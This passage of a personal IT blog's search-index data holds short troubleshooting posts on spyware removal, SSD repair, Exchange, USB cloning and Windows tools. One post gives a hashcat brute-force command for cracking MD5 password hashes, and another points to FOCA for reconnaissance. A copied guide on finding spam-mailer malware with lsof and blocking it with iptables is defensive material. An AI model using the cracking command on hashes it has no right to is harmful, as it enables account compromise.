src=\"/wp-content/uploads/2015/08/2015-08-08-13_10_12-Programs-and-Features.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Virtualbox Windows 10 64 bits guests are missing"},{"content":"First I had a problem with delta-homes.com spyware. When I remove that software a crappy mystartsearch.com browser hijacker came by\u0026hellip; ARGGG!!!!\nSo removing the software is quite easy when you follow this staps\nDownload superantispyware (free) Install superantispyware (select free editon) Run a quick scan Clean and reboot Run a full scan Clean and reboot Download and run ADWCleaner Scan and clean Enjoy your adware free system :)\n","permalink":"https://blog.wapnet.nl/2015/06/remove-spyware/","summary":"\u003cp\u003eFirst I had a problem with delta-homes.com spyware. When I remove that software a crappy mystartsearch.com browser hijacker came by\u0026hellip; ARGGG!!!!\u003c/p\u003e\n\u003cp\u003eSo removing the software is quite easy when you follow this staps\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDownload \u003ca href=\"https://www.superantispyware.com/download.html\"\u003esuperantispyware\u003c/a\u003e (free)\u003c/li\u003e\n\u003cli\u003eInstall superantispyware (select free editon)\u003c/li\u003e\n\u003cli\u003eRun a quick scan\u003c/li\u003e\n\u003cli\u003eClean and reboot\u003c/li\u003e\n\u003cli\u003eRun a full scan\u003c/li\u003e\n\u003cli\u003eClean and reboot\u003c/li\u003e\n\u003cli\u003eDownload and run \u003ca href=\"https://toolslib.net/downloads/viewdownload/1-adwcleaner/\"\u003eADWCleaner\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eScan and clean\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/06/AdwCleaner.png\"\u003e\u003cimg alt=\"AdwCleaner\" loading=\"lazy\" src=\"/wp-content/uploads/2015/06/AdwCleaner.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eEnjoy your adware free system :)\u003c/p\u003e","title":"Remove Spyware"},{"content":"From one day to another my Intel 320 SSD was not visible anymore. So I download Ubuntu 14.04 boot it and start gparted. Then I saw no SSD disk in my disk selection :(\nSo I download the Intel firmware tool and boot it and then I get a BAD_CTX and a disk with 0GB :(\nAfter some google\u0026rsquo;ing on the BAD_CTX I saw this was an known issue. The only way to fix this was completely secure erase your disk and so all your data on the disk is gone ARRRRGGGGG!!!!!!!!!!!!!!!!!!!!!!!!!!\nI found a lot information how to secure erase the disk but finding some mac / apple specific articles was a lot more painful.\nSo I tried a lot of things and fixing the problem is quite easy if you know the steps. So I explain this for you so it cost you only one evening to fix this :P\nFirst go to https://partedmagic.com/ and buy and download parted magic ISO ($9). Now burn the parted magic ISO to a CD.\nThen boot the parted magic. If you don\u0026rsquo;t know how to boot from a CD or USB with mac you must press the \u0026ldquo;option (alt) key\u0026rdquo; immediately after you press the power button and select the disk.\nIf parted magic is started, start secure erase and follow the wizard to accomplish this step. If you disk is frozen use the sleep key in the wizard to change the state to \u0026ldquo;not frozen\u0026rdquo;.\nAfter the disk is completely erased shutdown the computer.\nNow download the Intel SSD drive firmware update tool and burn it to a CD. Then boot the tool and update your disk firmware.\nThen reinstall your OSX. For the people who use time machine is very easy to get the latest status back to your pc.\nI know one thing for sure. This was my latest Intel SSD\u0026hellip;\nIf I helped you please help me to supporting this blog without any advertising.\n🍺 Buy me a beer via PayPal Some extra info: CNET outdated article Secure erase article from Parted Magic Nice blog about this issue and fix it with a standard PC\n","permalink":"https://blog.wapnet.nl/2015/04/fix-intel-ssd-320-problem-on-a-macbook/","summary":"\u003cp\u003eFrom one day to another my Intel 320 SSD was not visible anymore. So I download Ubuntu 14.04 boot it and start gparted.  Then I saw no SSD disk in my disk selection :(\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/04/ubuntu-disk-missing.png\"\u003e\u003cimg alt=\"ubuntu-disk-missing\" loading=\"lazy\" src=\"/wp-content/uploads/2015/04/ubuntu-disk-missing.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSo I download the Intel firmware tool and boot it and then I get a BAD_CTX and a disk with 0GB :(\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/04/bad_ctx.png\"\u003e\u003cimg alt=\"bad_ctx\" loading=\"lazy\" src=\"/wp-content/uploads/2015/04/bad_ctx.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAfter some google\u0026rsquo;ing on the BAD_CTX I saw this was an known issue. The only way to fix this was completely secure erase your disk and so all your data on the disk is gone ARRRRGGGGG!!!!!!!!!!!!!!!!!!!!!!!!!!\u003c/p\u003e","title":"Fix Intel SSD 320 problem on a Macbook"},{"content":"Output PS C:\\Users\\jfb\u0026gt; get-mailpublicfolder -Identity \u0026#34;bccp11-036\u0026#34; Alias Identity ----- -------- bccp11-036 matricis.local/Microsoft Exchange System Objects/Correspondance 81807753 PS C:\\Users\\jfb\u0026gt; disable-mailpublicfolder -Identity \u0026#34;matricis.local/Microsoft Exchange System Objects/Correspondance 81807753\u0026#34; Disable-MailPublicFolder : No existing \u0026#39;PublicFolder\u0026#39; matches the following Identity: \u0026#39;matricis.local/Microsoft Exchange System Objects/Correspondance 81807753\u0026#39; At line:1 char:25 + disable-mailpublicfolder \u0026lt;\u0026lt;\u0026lt;\u0026lt; -Identity \u0026#34;matricis.local/Microsoft Exchange System Objects/Correspondance 81807753\u0026#34; + CategoryInfo : NotSpecified: (0:Int32) [Disable-MailPublicFolder], MapiOperationException + FullyQualifiedErrorId : 826D5700,Microsoft.Exchange.Management.MapiTasks.DisableMailPublicFolder Cause I have resolved the issue, to solve this, we have to go into Active Directory Users and Computers. Under View, select Advanced Features. Now, under the /Microsoft Exchange System Objects folder, manually delete the Correspondance 81807753 object.\nTo prevent this, you have to mail-disable the public folder before deleting it from the public folders\nSource\nTip: If you want to quick find the old public folder use a custom AD search:\n(\u0026amp;proxyaddresses=smtp:some@mail.nl) ","permalink":"https://blog.wapnet.nl/2015/04/cannot-disable-mail-enabled-public-folders/","summary":"\u003ch3 id=\"output\"\u003eOutput\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    PS C:\\Users\\jfb\u0026gt; get-mailpublicfolder -Identity \u0026#34;bccp11-036\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Alias                Identity\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    -----                --------\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    bccp11-036           matricis.local/Microsoft Exchange System Objects/Correspondance 81807753\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    PS C:\\Users\\jfb\u0026gt; disable-mailpublicfolder -Identity \u0026#34;matricis.local/Microsoft Exchange\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSystem Objects/Correspondance 81807753\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Disable-MailPublicFolder : No existing \u0026#39;PublicFolder\u0026#39; matches the following Identity: \u0026#39;matricis.local/Microsoft Exchange System Objects/Correspondance 81807753\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    At line:1 char:25\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    + disable-mailpublicfolder \u0026lt;\u0026lt;\u0026lt;\u0026lt;  -Identity \u0026#34;matricis.local/Microsoft Exchange System Objects/Correspondance 81807753\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        + CategoryInfo          : NotSpecified: (0:Int32) [Disable-MailPublicFolder], MapiOperationException\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        + FullyQualifiedErrorId : 826D5700,Microsoft.Exchange.Management.MapiTasks.DisableMailPublicFolder\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"cause\"\u003eCause\u003c/h3\u003e\n\u003cp\u003eI have resolved the issue, to solve this, we have to go into Active Directory Users and Computers. Under View, select Advanced Features. Now, under the /Microsoft Exchange System Objects folder, manually delete the Correspondance 81807753 object.\u003c/p\u003e","title":"Cannot disable mail enabled public folders"},{"content":"The ThinState USB disk is split into 2 partitions. And the second partition isn\u0026rsquo;t accessible in Windows so it was very hard to build a stick from scratch. There are a lot of Windows USB clone tools but because I had to clone the ThinState 16GB to a 8GB stick also, it was impossible to do it from my windows workstation. But when some things get more difficulty what do you do? Use Linux :)\nThe Easy way (same USB stick size or bigger): $sudo dd if=/dev/sdb of=/dev/sdc bs=512 The \u0026ldquo;Hard\u0026rdquo; way (clone to smaller USB): First resize the partitions with gparted to the minimum size. Then find out the last sector of the /dev/sdb2 (where sdb2 is my USB stick)\n$sudo fdisk -u -l /dev/sdb Output:\nDisk /dev/sdb: 14,9 GiB, 16026435584 bytes, 31301632 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x6a60ab98 Device Boot Start End Sectors Size Id Type /dev/sdb1 * 2048 2099199 2097152 1G b W95 FAT32 /dev/sdb2 2099200 14131199 12032000 5,8G 7 HPFS/NTFS/exFAT Now use dd with sector 12032000 + 1.\ndd if=/dev/sdb of=/home/myusername/usbimage.img count=12032001 and write the *.img file back to your new USB stick:\ndd if=/home/myusername/usbimage.img of=/dev/sdb ","permalink":"https://blog.wapnet.nl/2015/04/clone-hp-thinstate-capture-usb-stick/","summary":"\u003cp\u003eThe ThinState USB disk is split into 2 partitions. And the second partition isn\u0026rsquo;t accessible in Windows so it was very hard to build a stick from scratch. There are a lot of Windows USB clone tools but because I had to clone the ThinState 16GB to a 8GB stick also, it was impossible to do it from my windows workstation. But when some things get more difficulty what do you do? Use Linux :)\u003c/p\u003e","title":"Clone HP ThinState Capture USB stick (or any other USB disk)"},{"content":"Because I don\u0026rsquo;t like adware (and it cost my 60 minutes to clean my pc after I installed the SUPER © program\u0026hellip;) I\u0026rsquo;ve created a clean portable version. You can download the ZIP file here.\nConsider a donation for my work and hosting for this download 🍺 Buy me a beer via PayPal ","permalink":"https://blog.wapnet.nl/2015/02/super-portable-without-adware/","summary":"\u003cp\u003eBecause I don\u0026rsquo;t like adware (and it cost my 60 minutes to clean my pc after I installed the SUPER © program\u0026hellip;) I\u0026rsquo;ve created a clean portable version. You can download the ZIP file \u003ca href=\"/upload/SUPER.zip\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eConsider a donation for my work and hosting for this download \u003cp class=\"paypal-donation\"\u003e\n  \u003ca href=\"https://www.paypal.com/paypalme/l0g0ffpay\" rel=\"noopener\" target=\"_blank\"\u003e🍺 Buy me a beer via PayPal\u003c/a\u003e\n\u003c/p\u003e\n\u003c/p\u003e","title":"SUPER © portable without adware"},{"content":"It is possible to convert any movie to play it on a storio 2. The steps you must take:\nDownload SUPER © from my blogpost. Attention: The default SUPER © is adware and your pc will have some new unwanted browser searches after the install :( Configure SUPER © (see screen) Convert / encode the movie Upload it to your storio and have fun :) TIP: Set the Frame/Sec on 10 if you want to reduce the size of the move. 10 FPS is low but good enough for the Storio\n","permalink":"https://blog.wapnet.nl/2015/02/storio-2-convert-any-movie/","summary":"\u003cp\u003eIt is possible to convert any movie to play it on a storio 2. The steps you must take:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/2015/02/super-portable-without-adware/\" title=\"SUPER © portable without adware\"\u003eDownload SUPER © from my blogpost\u003c/a\u003e. Attention: The default \u003ca href=\"http://www.videohelp.com/tools/SUPER\"\u003eSUPER ©\u003c/a\u003e is adware and your pc will have some new unwanted browser searches after the install :(\u003c/li\u003e\n\u003cli\u003eConfigure SUPER © (see screen)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2015/02/SUPER-settings-storio.png\"\u003e\u003cimg alt=\"SUPER-settings-storio\" loading=\"lazy\" src=\"/wp-content/uploads/2015/02/SUPER-settings-storio.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConvert / encode the movie\u003c/li\u003e\n\u003cli\u003eUpload it to your storio and have fun :)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTIP: Set the Frame/Sec on 10 if you want to reduce the size of the move. 10 FPS is low but good enough for the Storio\u003c/p\u003e","title":"Storio 2 convert any movie"},{"content":"For: Windows Server 2008 R2 (64-bit) Copy the following files:\n\u0026gt; copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_6.1.7600.16385_none_c9392808773cd7da\\cleanmgr.exe C:\\Windows\\System32\\ English:\n\u0026gt; copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9cb6194b257cc63\\cleanmgr.exe.mui C:\\Windows\\System32\\en-US\\ Dutch:\n\u0026gt; copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_72d752f33b5fc86a c:\\Windows\\System32\\nl-NL\\ Run the cleanmgr.exe:\n\u0026gt; cleanmgr.exe ","permalink":"https://blog.wapnet.nl/2015/02/install-disk-cleanup-without-desktop-experience-to-clean-winsxs/","summary":"\u003ch3 id=\"for-windows-server-2008-r2-64-bit\"\u003eFor: Windows Server 2008 R2 (64-bit)\u003c/h3\u003e\n\u003cp\u003eCopy the following files:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_6.1.7600.16385_none_c9392808773cd7da\\cleanmgr.exe C:\\Windows\\System32\\\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eEnglish:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9cb6194b257cc63\\cleanmgr.exe.mui C:\\Windows\\System32\\en-US\\\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDutch:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; copy C:\\Windows\\winsxs\\amd64_microsoft-windows-cleanmgr.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_72d752f33b5fc86a c:\\Windows\\System32\\nl-NL\\\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRun the cleanmgr.exe:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; cleanmgr.exe\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Install Disk Cleanup without Desktop Experience to clean WinSXS"},{"content":"hashcat -n 2 -m 0 -a 3 --pw-min 9 hashfile.txt ?l?l?l?l?l?l?l?l?l?l\n-n = 2 threads -m 0 = md5 \u0026ndash;pw-min 9 = minimal 9 characters hashfile.txt = is txt file where the hash is located ?l?l?l?l?l?l?l?l?l?l = lowercase password\nHave fun!\n","permalink":"https://blog.wapnet.nl/2015/02/brute-force-example-md5-password-using-hashcat/","summary":"\u003cp\u003e\u003ccode\u003ehashcat -n 2 -m 0 -a 3 --pw-min 9 hashfile.txt ?l?l?l?l?l?l?l?l?l?l\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e-n = 2 threads\n-m 0 = md5\n\u0026ndash;pw-min 9 = minimal 9 characters\nhashfile.txt = is txt file where the hash is located\n\u003ccode\u003e?l?l?l?l?l?l?l?l?l?l\u003c/code\u003e = lowercase password\u003c/p\u003e\n\u003cp\u003eHave fun!\u003c/p\u003e","title":"Brute force example MD5 password using hashcat"},{"content":"Try to turn hyper-v off\nbcdedit /set hypervisorlaunchtype off\nand a reboot. To turn it back on:\nbcdedit /set hypervisorlaunchtype on\nand reboot.\n","permalink":"https://blog.wapnet.nl/2015/02/why-virtual-box-wont-give-me-option-to-create-64-bits-guests/","summary":"\u003cp\u003eTry to turn hyper-v off\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ebcdedit /set hypervisorlaunchtype off\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eand a reboot. To turn it back on:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ebcdedit /set hypervisorlaunchtype on\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eand reboot.\u003c/p\u003e","title":"Why Virtual Box won't give me option to create 64 bits guests?"},{"content":"Social hacking starts with: FOCA ( Fingerprinting Organizations with Collected Archives)\nHappy hacking :)\nURL: https://www.elevenpaths.com/labstools/foca/index.html ","permalink":"https://blog.wapnet.nl/2015/01/social-hacking-with-foca/","summary":"\u003cp\u003eSocial hacking starts with:  FOCA ( \u003cstrong\u003eFingerprinting Organizations with Collected Archives\u003c/strong\u003e)\u003c/p\u003e\n\u003cp\u003eHappy hacking :)\u003c/p\u003e\n\u003cp\u003eURL: \u003ca href=\"https://www.elevenpaths.com/labstools/foca/index.html\"\u003ehttps://www.elevenpaths.com/labstools/foca/index.html\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2015/01/FOCA.png\"\u003e\u003cimg alt=\"FOCA\" loading=\"lazy\" src=\"/wp-content/uploads/2015/01/FOCA.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Social hacking with FOCA"},{"content":"In Windows I like Firefox more than chrome because everything is already \u0026ldquo;Google\u0026rdquo;. But Google chrome has a nice stable and fast flash plugin built-in and so I need a chrome browser in Linux\u0026hellip;. Because I\u0026rsquo;m testing Arch Linux (Antergos actually ) and Google don\u0026rsquo;t have arch packages I found a way to install it automatically for me with the AUR repository. $yaourt -S google-chrome More info about the yaourt ( Y et A n O ther U ser R epository T ool):\nUsing yaourt You can install packages (including AUR packages) with\n$ yaourt packagename or\n$ yaourt -Sa packagename You can update your system including AUR packages with:\n$ yaourt -Syua ","permalink":"https://blog.wapnet.nl/2014/08/install-chrome-with-arch-linux/","summary":"\u003cp\u003eIn Windows I like Firefox more than chrome because everything is already \u0026ldquo;Google\u0026rdquo;. But Google chrome has a nice stable and fast flash plugin built-in and so I need a chrome browser in Linux\u0026hellip;. Because I\u0026rsquo;m testing Arch Linux (Antergos actually ) and Google don\u0026rsquo;t have arch packages I found a way to install it automatically for me with the AUR repository. \u003cstrong\u003e$yaourt -S google-chrome\u003c/strong\u003e More info about the yaourt ( \u003cstrong\u003eY\u003c/strong\u003e et \u003cstrong\u003eA\u003c/strong\u003e n \u003cstrong\u003eO\u003c/strong\u003e ther \u003cstrong\u003eU\u003c/strong\u003e ser \u003cstrong\u003eR\u003c/strong\u003e epository \u003cstrong\u003eT\u003c/strong\u003e ool):\u003c/p\u003e","title":"Install chrome with Arch Linux"},{"content":"Textcrawler is an amazing tool windows if you looking for specific content in a text file. I use to tool often when I migrate websites to other webservers.\nTextcrawler is freeware :) You can download it here: http://www.digitalvolcano.co.uk/textcrawler.html ","permalink":"https://blog.wapnet.nl/2014/06/find-and-replace-multiple-text-files/","summary":"\u003cp\u003eTextcrawler is an amazing tool windows if you looking for specific content in a text file. I use to tool often when I migrate websites to other webservers.\u003c/p\u003e\n\u003cp\u003eTextcrawler is freeware :) You can download it here: \u003ca href=\"http://www.digitalvolcano.co.uk/textcrawler.html\"\u003ehttp://www.digitalvolcano.co.uk/textcrawler.html\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2014/06/textcrawler.png\"\u003e\u003cimg alt=\"textcrawler\" loading=\"lazy\" src=\"/wp-content/uploads/2014/06/textcrawler.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Find and replace multiple text files"},{"content":"If you have an HP computer or notebook you don\u0026rsquo;t want to search the HP site for all the software and drivers (even BIOS). With HP SoftPaq this steps will do it for you.\nYou can find the software here: http://www8.hp.com/us/en/ads/clientmanagement/drivers-bios.html ","permalink":"https://blog.wapnet.nl/2014/06/update-hp-software-and-firmware/","summary":"\u003cp\u003eIf you have an HP computer or notebook you don\u0026rsquo;t want to search the HP site for all the software and drivers (even BIOS). With HP SoftPaq this steps will do it for you.\u003c/p\u003e\n\u003cp\u003eYou can find the software here: \u003ca href=\"http://www8.hp.com/us/en/ads/clientmanagement/drivers-bios.html\"\u003ehttp://www8.hp.com/us/en/ads/clientmanagement/drivers-bios.html\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2014/06/HP-SoftPaq-Download-Manager.png\"\u003e\u003cimg alt=\"HP SoftPaq Download Manager\" loading=\"lazy\" src=\"/wp-content/uploads/2014/06/HP-SoftPaq-Download-Manager.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Update HP Software and Firmware"},{"content":"THIS IS AN ORDINARY COPY/PAST FROM http://cbl.abuseat.org because I can\u0026rsquo;t find a source link and this is a nice article! We have detected that this IP is NATting for, or is infected itself, with a Linux (or possibly some other Unix-like system such as FreeBSD) PHP spam mailing script. Occasionally Windows servers are infected as well.\nWe do not know how the malware got installed onto the machine, but we know a lot of what it does. The main thing we\u0026rsquo;ve seen it doing is sending staggering large volumes of email spam. But it can do a lot more than that, and that is the real danger.\nNEW Of late some of these infections are facilitiated by a SSH Rootkit called \u0026ldquo;ebury\u0026rdquo;. See the link for more detail.\nIn most cases, this IP address would be that of a shared hosting environment. If you are a customer of this environment, you will almost certainly not be able to do anything about it, only the administrators of the hosting environment itself can. Please contact your administrators, and refer them to this page.\nIf the administrators are reluctant to do anything please try to convince them, because there is nothing you can do to fix this problem.\nFor the System Administrators Your task is to find the current problem, fix it, and prevent it from happening again.\nFinding the problem by network activity: Linux/FreeBSD etc One way of finding the user that is infected and spewing spam is to use the \u0026ldquo;lsof\u0026rdquo; (list open files) utility. \u0026ldquo;lsof\u0026rdquo; is available for most versions of UNIX-like systems such as Linux as part of the official distribution, but may not be installed by default. So first, make sure you have it installed. On many systems such as Ubuntu, you can install it by:\nsudo apt-get install lsof Once lsof is installed, you can issue the following command\nsudo lsof -i | grep smtp You may see a number of lines, such as (example.com takes the place of your machine\u0026rsquo;s name):\nsendmail- 18520 root 3u IPv4 3016693 0t0 TCP *:smtp (LISTEN) sendmail 4401 mail 13u IPv4 8742322 0t0 TCP example.com:42177-\u0026gt;mail1.hotmail.com:smtp (ESTABLISHED) exim 6348 mail 3u IPv4 210565067 0t0 TCP *:smtp (LISTEN) find 4403 foo 13u IPv4 8742322 0t0 TCP example.com:42176-\u0026gt;mtain-dk.r1000.mx.aol.com:smtp (ESTABLISHED) The first line, for example, is your sendmail mail software \u0026ldquo;LISTEN\u0026quot;ing (as userid root) for inbound email connections - this is normal. The second line is sendmail \u0026ldquo;caught\u0026rdquo; at the moment of sending an email (as userid \u0026ldquo;mail\u0026rdquo;) from your machine to a hotmail server - that is also perfectly normal. You may see similar lines with \u0026ldquo;exim\u0026rdquo; or \u0026ldquo;postfix\u0026rdquo; or \u0026ldquo;smtpd\u0026rdquo; or \u0026ldquo;qmail\u0026rdquo; instead of sendmail - all depending on what mail server you run - example - the third line is an Exim listener. The important thing that indicates that it\u0026rsquo;s normal is that the userid is \u0026ldquo;mail\u0026rdquo; or \u0026ldquo;mailman\u0026rdquo; or something like that - NOT an ordinary user.\nThe fourth line is a program called \u0026ldquo;find\u0026rdquo;, running under userid \u0026ldquo;foo\u0026rdquo; making a connection to an AOL server.\nIt\u0026rsquo;s examples like the fourth line you\u0026rsquo;re looking for - it tells you the userid of the infected user. In this case it also indicates that the infection is masquerading as the program \u0026ldquo;find\u0026rdquo;. There will often be more than one of these.\nSimply killing these processes is NOT enough, because they will often restart on their own. You will need to find whether these are started by a cron job owned by that user, or, spawned through your web server, or started from a ssh login. Find and delete the program - often a PHP or Perl script. In some cases, however, the program deletes itself as soon as it starts. The \u0026ldquo;find\u0026rdquo; example above is a Linux binary executable that contains an encrypted perl script. Since this was first written, it now sometimes masquerades as \u0026ldquo;mail\u0026rdquo; or \u0026ldquo;ntpd\u0026rdquo;. Assume it could be anything. You will also need to find out how the script got installed on your machine - often through Joomla, Wordpress, Cpanel or Plesk security holes, or ftp upload and secure it.\nWARNING Just because you didn\u0026rsquo;t find a line like the \u0026ldquo;foo\u0026rdquo; line above doesn\u0026rsquo;t mean the machine is not infected! It just means that the machine is not sending email at the instant lsof was run. If you don\u0026rsquo;t see a line like the \u0026ldquo;foo\u0026rdquo; line, we suggest that you run the lsof command multiple times. Example:\nwhile true do sudo lsof -i | grep smtp sleep 10 done Finding the problem by finding the script: Linux/FreeBSD Try the findbot.pl program. It\u0026rsquo;s a relatively straight-forward Perl script that will find most of the malicious scripts that we are aware of. The beginning of the file contains instructions on how to use it. If you are not the administrator of the system, it will not work for you.\nMany of these infections start themselves running, and then delete themselves from disk. Which means you won\u0026rsquo;t be able to find it. Check your ftp and SSH logs for suspicious files and logins. This is why it\u0026rsquo;s so important to prevent it happening again.\nFinding the problem by network activity: Windows The Windows environment is rather less developed for finding these things than UNIX-like systems. However, we can recommend the tcpview tool, so please see tcpview/tcpconn in our advanced section.\nFinding the problem by logs: (Mostly) Linux/FreeBSD Most of these scripts are quite good at hiding their presence. Some of them start up, and them remove the on-disk copy, so there\u0026rsquo;s nothing to see. None of them volunteer where they are, so samples don\u0026rsquo;t help. Most of these scripts bypass your mail server software, so there is nothing to see in the mail logs or queues.\nHowever, they all do need to get on your system somehow, and that often leaves logs. If you can find those log records, often that will help you identify the infected user and find the malicious files (if they are still there).\nGenerally speaking, these are the ways malicious scripts get onto a system:\nWeb sites often make FTP or SSL available so their customers can upload content or log in to manage their web pages. If the customer\u0026rsquo;s computer is compromised with a keylogger, it means that the criminal can upload anything they want. You can usually see this activity in your FTP or SSL logs - look for uploads of .php or .pl files, lots of oddly named files, access from a large variety of IP addresses, etc. If you do find something like this, it\u0026rsquo;s important to get the user to change their password, and do virus scans of their computers. Check your web server for large quantities of requests to the same PHP or CGI or Perl file, or POST commands, etc\u0026hellip; This can reveal where the infection is, and often how it got there. Most CMSes, in particular, Plesk, CPanel, Wordpress and Joomla quite simply have severe security holes being found in them, seemingly daily, and hosted environments are often reluctant to keep up to date with their patching. You may never find a reasonable explanation of how the malicious software got there Preventing it Happening Again Make absolutely certain that ALL CMS software (Joomla, Cpanel, Wordpress, Plesk etc) is kept up to date at all times. Do not let your users make any excuses for not doing so.\nMake it impossible for such infections (and they will happen again) to spam the world by implementing the blocking of email sent direct from the machine without going through your mail server.Some of your customers may believe that they need to be allowed to do this. The best answer for them is to configure their software to relay it through the mail server software on the machine or to an external smart-host.\nFor blocking: With Cpanel you can use ConfigServer Security Firewall (CSF). It\u0026rsquo;s free. CSF has the \u0026ldquo;SMTP_BLOCK\u0026rdquo; configuration option - turn it on.\nBasic Cpanel, there\u0026rsquo;s also \u0026ldquo;WHM SMTP Tweak\u0026rdquo; would should also help.\nThe following is an equivalent for non-Cpanel installations - it permits local mail submission and blocks external mail submission:\niptables -A OUTPUT -d 127.0.0.1 -p tcp -m tcp --dport 25 -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 25 -m owner --gid-owner mail -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 25 -m owner --gid-owner mailman -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 25 -m owner --uid-owner root -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 25 -j REJECT --reject-with icmp-port-unreachable The above permits users to send mail via a local mail server, permits local mail server software (running under userid root, or 